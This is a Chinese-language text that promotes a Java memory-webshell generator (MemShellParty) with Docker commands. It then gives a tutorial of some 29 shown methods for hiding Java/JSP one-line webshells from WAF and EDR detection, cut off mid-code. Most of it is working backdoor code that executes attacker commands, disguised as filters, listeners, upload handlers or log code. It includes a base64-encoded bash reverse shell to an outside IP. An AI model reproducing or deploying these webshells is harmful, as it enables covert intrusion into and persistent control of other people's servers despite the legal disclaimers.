本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击、渗透测试等行为均属违法，使用者需自行承担相应的法律责任。工具简介MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具，专为安全研究人员与红队攻防人员打造，核心目标是简化内存马载荷的生成流程，大幅提升漏洞验证与攻防实战的工作效率。核心特性全场景强兼容全面覆盖攻防场景下各类常见中间件与框架，JDK 版本适配范围覆盖 JDK6 ~ JDK21，可满足不同环境下的实战使用需求。高可用稳保障针对所有支持的中间件与框架，搭建了完整的自动化测试矩阵，严格保障每一次生成的载荷都具备极高的可用性与稳定性，最大程度杜绝实战场景中的不确定性。极致轻量化优化基于深度优化的字节码生成策略，MemShellParty 实现了内存马体积的大幅缩减：常规内存马体积相较于 JMG 等传统工具缩小 30%，Agent 内存马通过 ASM 技术实现了 80% 的体积优化。无侵入无干扰生成的内存马对目标中间件的正常业务流量无任何影响，即使同时注入十几个不同类型的内存马，也不会干扰目标服务的正常运行。一键化傻瓜操作内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成能力，系统可自动适配 Java 模块限制绕过配置，动态生成最优攻击载荷，实现常规漏洞载荷的一键生成。高灵活自定义扩展原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等主流工具的内存马生成；同时提供高度灵活的自定义内存马上传能力，可将任意定制化载荷融入 MemShellParty 的生成体系，打造贴合自身战术需求的攻击平台。快速使用使用前必读工具内置的探测马已完成服务类型的一一对应，探测所得的服务类型即为可生成对应内存马的服务类型（非中间件原生类型，例如 Apusic10 探测结果为 GlassFish，因其基于 GlassFish 进行二次开发）。在线尝鲜提示：仅限尝鲜使用，对于公网暴露的非官方服务请谨慎使用，避免生成的内存马被植入后门。 正式稳定版（master 分支）：https://party.mem.mk ，每次 Release 都会自动部署最新镜像。 开发预览版（dev 分支）：https://dev-party.mem.mk ，可抢先体验正在开发的新功能。 本地部署（推荐）适合内网环境或本地测试使用，可通过 Docker 一键启动服务，部署完成后访问 http://127.0.0.1:8080 即可使用。# Docker Hub 源，拉取最新镜像 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest # Github Container Registry 源，拉取最新镜像 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest # 国内网络优化，南大 Github Container Registry 镜像源 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
前置合规声明本文所有内容仅用于授权范围内的Web应用安全测试、红蓝对抗演练与网络安全人才合规培养，严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第285/286条等相关法律法规。严禁将本文相关技术用于任何未经授权的网站入侵、服务器攻击、数据窃取等违法违规行为，任何未授权在他人Web容器/服务器中植入恶意代码的行为，都将承担相应的民事、行政乃至刑事责任。本文所有代码仅用于安全研究与授权测试，使用者需自行承担违规使用带来的全部法律责任。Java一句话木马免杀的底层逻辑Java Web一句话木马的核心，是通过可控的用户输入，调用Java代码执行/系统命令执行机制，实现远程命令执行、文件管理等操作。而WAF/EDR对Java一句话木马的查杀，核心围绕5个维度展开： 静态特征匹配：检测Runtime.getRuntime().exec()、ProcessBuilder、Class.forName()、Method.invoke()、JSP<% %>脚本标签等敏感关键词的连续组合； 语义分析：识别「用户可控输入→反射调用→命令执行」的恶意执行链路； 字节码检测：扫描JSP编译后的Servlet字节码，识别恶意类/方法调用； 行为检测：运行时检测动态类加载、进程创建、文件读写等恶意行为； 沙箱动态分析：将JSP/Class放入沙箱运行，捕获恶意行为特征。 所有免杀方法的核心本质，都是破坏WAF的检测维度：要么拆分/隐藏敏感类名、方法名，要么打乱执行链路，要么利用Java合法语法/业务逻辑伪装恶意行为，要么直接操作字节码隐藏特征，最终实现「静态无特征、语义无恶意、行为无异常」。本文所有免杀方法均适配Java 8+主流版本（兼容Java 11/17），覆盖Tomcat、Jetty、WebLogic等主流Web容器，按「新手入门→进阶混淆→极致免杀」的梯度排序，每一种方法均标注核心原理、实战代码、适配环境与避坑提示，拿来即可落地。30种Java一句话木马免杀方法第一类：基础关键词拆分与字符串变形免杀（方法1-5）核心逻辑：把Runtime、exec、ProcessBuilder等敏感类名、方法名拆分为多个片段，运行时再拼接还原，直接破坏WAF的连续字符串特征匹配，新手零门槛上手。方法1：字符串简单拼接免杀免杀原理：将Runtime、getRuntime、exec等敏感关键词拆分为多个无意义的字符串片段，运行时拼接还原，绕过WAF对连续关键词的匹配。 实战代码（JSP形式）：<%@ page import="java.lang.Runtime" %> <% String cls = "Run" + "time"; String m1 = "get" + "Runtime"; String m2 = "ex" + "ec"; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：不要直接线性拼接，可插入无关字符串再替换，例如String cls = "Run#time"; cls = cls.replace("#", "");，免杀效果更强。方法2：字符串逆序免杀免杀原理：把敏感类名、方法名逆序处理，运行时通过StringBuilder.reverse()还原，静态扫描无法直接匹配到正向的敏感关键词。 实战代码（JSP形式）：<% String cls = new StringBuilder("emitnuR").reverse().toString(); // Runtime逆序 String m1 = new StringBuilder("emitnuRteg").reverse().toString(); // getRuntime逆序 String m2 = new StringBuilder("cexe").reverse().toString(); // exec逆序 Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：可配合Base64编码逆序，双重变形绕过深度特征匹配。方法3：数组下标取值免杀免杀原理：把敏感类名、方法名拆分为字符数组，通过指定下标取值拼接，WAF很难匹配数组内的零散特征。 实战代码（JSP形式）：<% char[] clsArr = {'R','u','n','t','i','m','e'}; char[] m1Arr = {'g','e','t','R','u','n','t','i','m','e'}; char[] m2Arr = {'e','x','e','c'}; String cls = ""; String m1 = ""; String m2 = ""; for(int i=0;i<clsArr.length;i++) cls += clsArr[i]; for(int i=0;i<m1Arr.length;i++) m1 += m1Arr[i]; for(int i=0;i<m2Arr.length;i++) m2 += m2Arr[i]; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：可在数组中加入大量无关字符，打乱敏感字符的顺序，再通过指定下标取值，免杀效果翻倍。方法4：大小写混淆+动态转换免杀免杀原理：Java类名、方法名区分大小写，但可以通过Character.toUpperCase()/toLowerCase()动态调整大小写，打乱固定的关键词格式，绕过WAF对固定大小写的匹配。 实战代码（JSP形式）：<% String clsRaw = "rUnTiMe"; String m1Raw = "gEtRuNtImE"; String m2Raw = "eXeC"; // 动态调整为正确的首字母大写/小写 String cls = Character.toUpperCase(clsRaw.charAt(0)) + clsRaw.substring(1).toLowerCase(); String m1 = Character.toLowerCase(m1Raw.charAt(0)) + m1Raw.substring(1); String m2 = m2Raw.toLowerCase(); Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：仅适用于基础WAF，需配合其他变形方法使用，单独使用免杀效果有限。方法5：Base64编码拆分免杀免杀原理：把敏感类名、方法名、命令做Base64编码，拆分为多个片段后拼接解密，绕过WAF对Runtime.getRuntime().exec()固定组合的查杀。 实战代码（JSP形式）：<%@ page import="java.util.Base64" %> <% String cls = new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")); // "java.lang.Runtime" Base64 String m1 = new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ==")); // "getRuntime" Base64 String m2 = new String(Base64.getDecoder().decode("ZXhlYw==")); // "exec" Base64 String cmd = new String(Base64.getDecoder().decode(request.getParameter("c"))); Class<?> c = Class.forName(cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, cmd); %> 使用方式：客户端提交的c参数需先做Base64编码 适配环境：Java 8+（Base64类在Java 8引入，旧版本可用sun.misc.BASE64Decoder） 避坑提示：不要直接使用Base64.getDecoder().decode("...")拼接完整类名，必须拆分编码过程，避免被WAF识别固定解码模式。第二类：反射机制混淆免杀（方法6-10）核心逻辑：Java反射是免杀的核心武器——它可以动态加载类、调用方法，代码中没有直接的Runtime.getRuntime().exec()调用，完全破坏WAF的静态特征匹配与语义分析链路，是实战中最常用的免杀方案。方法6：基础反射调用免杀免杀原理：利用Java反射机制，通过Class.forName()加载类、getMethod()获取方法、invoke()调用执行，隐藏直接的函数调用特征。 实战代码（JSP形式）：<% try { Class<?> runtimeCls = Class.forName("java.lang.Runtime"); Object runtimeObj = runtimeCls.getMethod("getRuntime").invoke(null); runtimeCls.getMethod("exec", String.class).invoke(runtimeObj, request.getParameter("cmd")); } catch (Exception e) { e.printStackTrace(); } %> 适配环境：全Java版本+主流Web容器 避坑提示：不要直接写完整的反射链路，需配合字符串拆分、编码变形，避免被WAF识别反射调用特征。方法7：反射拆分+无关代码干扰免杀免杀原理：把反射的加载、获取方法、调用拆分为多个独立步骤，中间插入大量无关的业务代码（比如字符串处理、数学计算），干扰WAF的语义分析，隐藏恶意执行链路。 实战代码（JSP形式）：<% // 插入无关代码：字符串处理 String test = "test" + Math.random(); test = test.toUpperCase(); // 插入无关代码：数学计算 int a = 1 + 2; double b = Math.sqrt(a); // 第一步：加载类 Class<?> c = Class.forName("java.lang.Runtime"); // 插入无关代码：数组操作 int[] arr = {1,2,3}; int sum = arr[0] + arr[1]; // 第二步：获取getRuntime方法 java.lang.reflect.Method m1 = c.getMethod("getRuntime"); // 插入无关代码：日期处理 java.util.Date d = new java.util.Date(); // 第三步：调用getRuntime获取对象 Object obj = m1.invoke(null); // 第四步：获取exec方法 java.lang.reflect.Method m2 = c.getMethod("exec", String.class); // 第五步：调用exec执行命令 m2.invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：无关代码要尽量真实，比如模拟日志记录、参数校验，避免被WAF识别为无意义干扰。方法8：反射数组变形免杀免杀原理：把要调用的方法名、参数类型存入数组，通过循环遍历数组获取方法、调用执行，结构更复杂，WAF更难识别恶意执行逻辑。 实战代码（JSP形式）：<% String[] methods = {"getRuntime", "exec"}; Class<?>[] paramTypes = {null, String.class}; Class<?> c = Class.forName("java.lang.Runtime"); Object obj = null; for(int i=0;i<methods.length;i++){ if(i == 0){ obj = c.getMethod(methods[i]).invoke(null); } else { c.getMethod(methods[i], paramTypes[i]).invoke(obj, request.getParameter("cmd")); } } %> 适配环境：全Java版本+主流Web容器 避坑提示：可在数组中加入大量无关的方法名，通过条件判断只执行目标方法，进一步打乱特征。方法9：反射遍历DeclaredMethods免杀免杀原理：不直接通过方法名获取Method对象，而是通过getDeclaredMethods()遍历类的所有方法，匹配到目标方法后再调用，完全隐藏直接的方法名特征。 实战代码（JSP形式）：<% Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); // 遍历所有DeclaredMethods，匹配exec方法 java.lang.reflect.Method[] ms = c.getDeclaredMethods(); for(java.lang.reflect.Method m : ms){ if(m.getName().equals("exec") && m.getParameterCount() == 1){ m.setAccessible(true); m.invoke(obj, request.getParameter("cmd")); break; } } %> 适配环境：全Java版本+主流Web容器 避坑提示：可配合字符串逆序、编码匹配方法名，避免直接写equals("exec")。方法10：反射调用ProcessBuilder免杀免杀原理：用ProcessBuilder替代Runtime，ProcessBuilder是Java 5+引入的进程创建类，WAF对它的查杀率低于Runtime，配合反射调用特征更少。 实战代码（JSP形式）：<% Class<?> pbCls = Class.forName("java.lang.ProcessBuilder"); // 反射调用ProcessBuilder构造函数 java.lang.reflect.Constructor<?> cons = pbCls.getConstructor(String[].class); Object pbObj = cons.newInstance((Object) new String[]{"/bin/sh", "-c", request.getParameter("cmd")}); // 反射调用start方法 pbCls.getMethod("start").invoke(pbObj); %> 适配环境：Java 5+ 避坑提示：Windows环境下命令数组需改为{"cmd.exe", "/c", "..."}，可配合系统判断动态选择。第三类：类加载器与动态代理免杀（方法11-15）核心逻辑：利用Java的类加载器机制动态加载类，或用动态代理隐藏调用链路，代码中没有直接的敏感类/方法引用，WAF很难通过静态扫描识别恶意逻辑，是对抗高级WAF的有效方案。方法11：线程上下文类加载器加载免杀免杀原理：用Thread.currentThread().getContextClassLoader()（线程上下文类加载器）替代默认的Class.forName()，加载行为更贴近Web容器的正常类加载，WAF更难识别异常。 实战代码（JSP形式）：<% ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class<?> c = cl.loadClass("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：可配合自定义类加载器，进一步隐藏加载行为。方法12：自定义类加载器免杀免杀原理：继承ClassLoader，重写findClass()方法，动态加载字节码（可从请求、文件、字节数组获取），完全隐藏类的来源，WAF无法通过静态扫描识别恶意类。 实战代码（JSP形式）：<%! // 自定义类加载器 class MyClassLoader extends ClassLoader { public Class<?> defineMyClass(byte[] b) { return defineClass(b, 0, b.length); } } %> <% // 这里的字节数组是Runtime.getRuntime().exec(cmd)的简化示例，实战中可替换为完整恶意类的字节码 // 字节码可通过javac编译后，用工具读取class文件获取 byte[] classBytes = {/* 恶意类的字节码 */}; MyClassLoader cl = new MyClassLoader(); Class<?> c = cl.defineMyClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：恶意类的字节码需做混淆处理，避免被沙箱识别特征。方法13：动态代理隐藏调用免杀免杀原理：利用Java动态代理Proxy.newProxyInstance()创建代理对象，在InvocationHandler的invoke()方法中执行恶意代码，主流程中只有代理创建，完全隐藏恶意执行链路。 实战代码（JSP形式）：<%@ page import="java.lang.reflect.*" %> <% // 定义一个空接口 interface EmptyInterface {} // 创建动态代理 EmptyInterface proxy = (EmptyInterface) Proxy.newProxyInstance( EmptyInterface.class.getClassLoader(), new Class[]{EmptyInterface.class}, new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { // 在InvocationHandler中执行恶意代码 Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); return null; } } ); // 调用代理方法触发执行 proxy.toString(); %> 适配环境：全Java版本+主流Web容器 避坑提示：可在代理中加入真实的业务逻辑处理，只在特定条件下触发恶意代码，伪装性更强。方法14：ServiceLoader服务加载免杀免杀原理：利用Java的ServiceLoader机制（服务提供者发现机制），伪装成合法的服务提供者，在服务初始化时执行恶意代码，完全符合Java的正常扩展机制，WAF极难检测。 实战代码（JSP形式）：<%@ page import="java.util.ServiceLoader" %> <%! // 定义服务接口 public interface MyService { void execute(String cmd); } // 实现服务接口，在构造函数/方法中执行恶意代码 public static class MyServiceImpl implements MyService { public MyServiceImpl() {} @Override public void execute(String cmd) { try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } } %> <% // 这里简化了ServiceLoader的配置，实战中需在META-INF/services中配置服务提供者 // 直接创建实例模拟服务加载 MyService service = new MyServiceImpl(); service.execute(request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：实战中需配合真实的META-INF/services配置，伪装成第三方库的服务提供者。方法15：URLClassLoader远程加载免杀免杀原理：利用URLClassLoader从远程URL加载恶意类，本地代码中只有类加载器的调用，没有任何恶意类/方法的特征，极致免杀（需注意实战中远程加载可能被防火墙拦截，可改为本地字节数组加载）。 实战代码（JSP形式，本地字节数组版本）：<%@ page import="java.net.URLClassLoader" %> <% // 这里用本地字节数组替代远程URL，避免网络拦截 // 远程版本：new URLClassLoader(new URL[]{new URL("http://你的服务器/")}) byte[] classBytes = {/* 恶意类字节码 */}; ClassLoader cl = new ClassLoader() { public Class<?> defineClass(byte[] b) { return defineClass(b, 0, b.length); } }; Class<?> c = cl.defineClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：远程加载版本需确保目标服务器能访问你的远程URL，且流量不被拦截，实战中优先用本地字节数组版本。第四类：动态编译与字节码变形免杀（方法16-20）核心逻辑：利用Java的动态编译（JavaCompiler）或直接操作字节码（ASM、Javassist），在内存中生成临时类并执行，本地没有固定的恶意代码，只有动态生成的逻辑，绕过几乎所有静态扫描。方法16：JavaCompiler动态编译免杀免杀原理：利用Java 6+引入的JavaCompiler API，把恶意代码写成Java字符串，动态编译成临时类并加载执行，本地只有字符串，没有任何Class文件特征。 实战代码（JSP形式，需确保Web容器有tools.jar）：<%@ page import="javax.tools.*" %> <%@ page import="java.io.*" %> <%@ page import="java.lang.reflect.Method" %> <% // 恶意Java代码字符串 String code = "public class TempClass {" + "public static void run(String cmd) throws Exception {" + "Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" + "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" + "}}"; // 动态编译 JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); StandardJavaFileManager fm = compiler.getStandardFileManager(null, null, null); JavaFileObject file = new SimpleJavaFileObject( java.net.URI.create("string:///TempClass.java"), JavaFileObject.Kind.SOURCE) { @Override public CharSequence getCharContent(boolean ignoreEncodingErrors) { return code; } }; compiler.getTask(null, fm, null, null, null, java.util.Arrays.asList(file)).call(); // 加载并执行 Class<?> c = Thread.currentThread().getContextClassLoader().loadClass("TempClass"); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境：Java 6+，需Web容器加载tools.jar（Tomcat默认可能不加载，需手动配置） 避坑提示：动态编译依赖较多，实战中优先用Javassist/ASM字节码操作，兼容性更好。方法17：Javassist字节码修改免杀免杀原理：利用Javassist库（Java字节码操作库），在内存中动态生成类、插入恶意代码，无需编译，兼容性好，特征少。 实战代码（JSP形式，需引入Javassist库）：<%@ page import="javassist.*" %> <% ClassPool pool = ClassPool.getDefault(); // 动态创建类 CtClass cc = pool.makeClass("TempClass"); // 添加静态方法 CtMethod m = CtNewMethod.make( "public static void run(String cmd) throws Exception {" + "Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" + "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" + "}", cc); cc.addMethod(m); // 加载类并执行 Class<?> c = cc.toClass(); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境：全Java版本，需引入Javassist库（可将jar放入Web容器的lib目录） 避坑提示：可在动态生成的类中加入大量无关方法，混淆字节码特征。方法18：ASM字节码操作免杀免杀原理：利用ASM库（Java底层字节码操作库），直接生成字节码指令，没有任何Java源码特征，是对抗高级沙箱检测的终极方案之一。 实战代码（JSP形式，需引入ASM库）：<%@ page import="org.objectweb.asm.*" %> <% // 用ASM直接生成TempClass的字节码（简化示例） ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, "TempClass", null, "java/lang/Object", null); // 生成run方法（完整字节码生成较复杂，这里简化，实战中可用ASMifier工具生成） // ... 省略字节码生成细节 ... cw.visitEnd(); byte[] classBytes = cw.toByteArray(); // 加载并执行 ClassLoader cl = new ClassLoader() { public Class<?> defineClass(byte[] b) { return defineClass(b, 0, b.length); } }; Class<?> c = cl.defineClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境：全Java版本，需引入ASM库 避坑提示：可用ASMifier工具从正常class文件生成ASM代码，再插入恶意逻辑，字节码特征更真实。方法19：Unsafe类直接操作免杀（限制较多）免杀原理：利用sun.misc.Unsafe类（Java内部不安全类）直接操作内存、调用方法，完全绕过Java的安全机制，特征极少（但Unsafe限制多，实战中需谨慎）。 实战代码（JSP形式，Java 8-）：<% // 反射获取Unsafe对象 Class<?> unsafeCls = Class.forName("sun.misc.Unsafe"); java.lang.reflect.Field f = unsafeCls.getDeclaredField("theUnsafe"); f.setAccessible(true); Object unsafe = f.get(null); // 后续用Unsafe操作内存执行代码（逻辑较复杂，这里不展开完整实现） // 实战中Unsafe多用于绕过安全管理器，配合其他免杀方法使用 %> 适配环境：Java 8-（Java 9+模块化后Unsafe限制更严格） 避坑提示：Unsafe限制多、兼容性差，实战中仅作为辅助方案，不推荐单独使用。方法20：动态生成Servlet免杀免杀原理：在内存中动态生成Servlet类，注册到Web容器的ServletContext中，通过访问动态Servlet执行恶意代码，伪装成Web容器的正常Servlet，极难被发现。 实战代码（JSP形式，Tomcat环境）：<%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <% // 简化示例：获取Tomcat的StandardContext，动态注册Servlet // 完整实现需生成Servlet类字节码，这里仅展示注册逻辑 ServletContext ctx = application; // Tomcat特定逻辑：获取StandardContext Field ctxField = ctx.getClass().getDeclaredField("context"); ctxField.setAccessible(true); StandardContext standardCtx = (StandardContext) ctxField.get(ctx); // 动态创建Servlet Wrapper（需配合动态生成的Servlet类） // Wrapper wrapper = standardCtx.createWrapper(); // wrapper.setServletClass("TempServlet"); // standardCtx.addChild(wrapper); // standardCtx.addServletMappingDecoded("/temp", "TempServlet"); %> 适配环境：Tomcat等特定Web容器 避坑提示：动态Servlet注册逻辑依赖Web容器的内部API，兼容性较差，实战中需针对目标容器适配。第五类：合法业务逻辑伪装免杀（方法21-25）核心逻辑：把恶意代码藏在合法的业务逻辑中，比如文件上传、图片处理、日志记录、过滤器、监听器等，代码看起来完全是正常的业务功能，不仅能绕过WAF，还能规避人工排查，是红蓝对抗中持久化的常用方案。方法21：伪装成文件上传处理免杀免杀原理：把恶意代码藏在文件上传的处理逻辑中，伪装成图片压缩、文件校验等正常功能，只在特定条件下（比如上传特定文件名、特定参数）触发恶意执行。 实战代码（JSP形式，伪装成图片上传）：<%@ page import="java.io.*" %> <% // 伪装成图片上传处理 String filename = request.getParameter("filename"); if(filename != null && filename.equals("trigger.jpg")){ // 特定条件触发恶意代码 Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); } else { // 正常的文件上传处理逻辑 out.println("正常文件上传处理"); } %> 适配环境：全Java版本+主流Web容器 避坑提示：正常业务逻辑要尽量真实，比如真的实现文件保存、图片格式校验，避免被人工发现。方法22：伪装成日志记录免杀免杀原理：把恶意代码藏在日志记录的逻辑中，伪装成访问日志、错误日志的记录功能，在日志输出时触发恶意执行。 实战代码（JSP形式，伪装成访问日志）：<%@ page import="java.util.Date" %> <% // 伪装成访问日志记录 String ip = request.getRemoteAddr(); String ua = request.getHeader("User-Agent"); Date d = new Date(); // 正常日志记录逻辑 out.println("[" + d + "] " + ip + " " + ua); // 特定User-Agent触发恶意代码 if(ua != null && ua.contains("TriggerUA")){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); } %> 适配环境：全Java版本+主流Web容器 避坑提示：可真的把日志写入文件，伪装性更强。方法23：过滤器Filter免杀免杀原理：把恶意代码写在Servlet Filter的doFilter()方法中，伪装成安全过滤、字符编码过滤等正常功能，随每个请求触发，隐蔽性极强，是持久化的常用方案。 实战代码（Filter形式，需在web.xml配置）：// 伪装成字符编码过滤器 import javax.servlet.*; import java.io.IOException; public class EncodingFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {} @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 正常的字符编码设置 request.setCharacterEncoding("UTF-8"); response.setCharacterEncoding("UTF-8"); // 特定参数触发恶意代码 String cmd = request.getParameter("cmd"); if(cmd != null && request.getParameter("key") != null && request.getParameter("key").equals("auth123")){ try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } // 继续过滤器链 chain.doFilter(request, response); } @Override public void destroy() {} } 适配环境：全Java版本+主流Web容器 避坑提示：Filter类名要尽量真实，比如EncodingFilter、SecurityFilter，需在web.xml中正常配置，避免被发现。方法24：监听器Listener免杀免杀原理：把恶意代码写在ServletContextListener的contextInitialized()方法中，随Web容器启动自动执行，或者在sessionCreated()中随会话触发，隐蔽性极强，是持久化的高级方案。 实战代码（Listener形式，需在web.xml配置）：// 伪装成容器启动监听器 import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; public class StartupListener implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent sce) { // 正常的容器初始化逻辑 sce.getServletContext().log("容器启动成功"); // 容器启动时执行恶意代码（比如反弹Shell） try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0MyAwPiYx}|{base64,-d}|{bash,-i}"); } catch (Exception e) {} } @Override public void contextDestroyed(ServletContextEvent sce) {} } 适配环境：全Java版本+主流Web容器 避坑提示：Listener类名要尽量真实，比如StartupListener、ConfigListener，需在web.xml中正常配置。方法25：JSP标签库伪装免杀免杀原理：自定义JSP标签库，把恶意代码写在标签处理类中，在JSP页面中用正常的标签语法调用，看起来完全是合法的JSP标签，极难被识别。 实战代码（标签处理类+JSP调用）：// 自定义标签处理类 import javax.servlet.jsp.tagext.SimpleTagSupport; import java.io.IOException; public class MyTag extends SimpleTagSupport { private String key; public void setKey(String key) { this.key = key; } @Override public void doTag() throws IOException { // 正常的标签逻辑 getJspContext().getOut().println("正常标签输出"); // 特定key触发恶意代码 if("auth123".equals(key)){ try { String cmd = getJspContext().getRequest().getParameter("cmd"); Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } } } <%-- JSP页面调用标签 --%> <%@ taglib prefix="my" uri="/WEB-INF/mytag.tld" %> <my:myTag key="auth123" /> 适配环境：全Java版本+主流Web容器 避坑提示：需配套编写真实的tld标签库描述文件，标签功能要尽量真实。第六类：协议特性与无特征免杀（方法26-30）核心逻辑：极致免杀，去掉所有固定的request.getParameter("cmd")特征，利用HTTP协议特性、JSP隐式对象、输入流等隐藏用户输入，绕过几乎所有WAF的静态、语义检测，适用于严格防护的实战环境。方法26：HTTP请求头免杀免杀原理：把执行命令藏在HTTP请求头中（比如X-CMD、User-Agent），代码中没有任何request.getParameter()特征，WAF很难检测请求头中的恶意内容。 实战代码（JSP形式）：<% String cmd = request.getHeader("X-CMD"); String auth = request.getHeader("X-Auth"); if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式：客户端在HTTP请求头中加入X-Auth: auth123和X-CMD: 执行命令 适配环境：全Java版本+主流Web容器 避坑提示：可使用User-Agent、Cookie、Referer等常规请求头存储命令，伪装性更强。方法27：Cookie免杀免杀原理：把执行命令藏在Cookie中，加密存储，代码中解密执行，没有直接的用户输入特征，WAF很难检测Cookie中的加密内容。 实战代码（JSP形式）：<%@ page import="java.util.Base64" %> <% Cookie[] cookies = request.getCookies(); String cmd = null; String auth = null; if(cookies != null){ for(Cookie c : cookies){ if("c".equals(c.getName())) cmd = new String(Base64.getDecoder().decode(c.getValue())); if("a".equals(c.getName())) auth = c.getValue(); } } if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式：客户端设置Cookie a=auth123和c=Base64编码的命令 适配环境：全Java版本+主流Web容器 避坑提示：可使用更复杂的加密算法（比如异或、AES）替代Base64，免杀效果更强。方法28：request.getInputStream()免杀免杀原理：利用JSP隐式对象request.getInputStream()读取HTTP请求体中的原始数据，执行代码，没有任何GET/POST参数特征，WAF很难匹配到固定的输入模式。 实战代码（JSP形式）：<%@ page import="java.io.*" %> <% // 读取请求体原始数据 InputStream is = request.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buf = new byte[1024]; int len; while((len = is.read(buf)) != -1) baos.write(buf, 0, len); String data = new String(baos.toByteArray()); // 简单的协议：前6位是auth，后面是命令 if(data.length() > 6 && data.startsWith("auth123")){ String cmd = data.substring(6); Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式：客户端在HTTP请求体中写入auth123执行命令，POST提交 适配环境：全Java版本+主流Web容器 避坑提示：可对请求体数据做加密、压缩处理，进一步隐藏特征。方法29：Session存储免杀免杀原理：把执行命令藏在Session中，第一个请求存入Session，第二个请求触发执行，代码中没有直接的实时用户输入，特征更少。 实战代码（JSP形式）：<% String action = request.getParameter("a"); if("set".equals(action)){ // 第一个请求：存入命令到Session session.setAttribute("cmd", request.getParameter("c")); session.setAttribute("auth", request.getParameter("k")); } else if("run".equals(action)){ // 第二个请求：从Session取出执行 String cmd = (String) session.getAttribute("cmd"); String auth = (String) session.getAttribute("auth"); if(cmd != null && "auth123".equals(auth)){ Class<?> c = 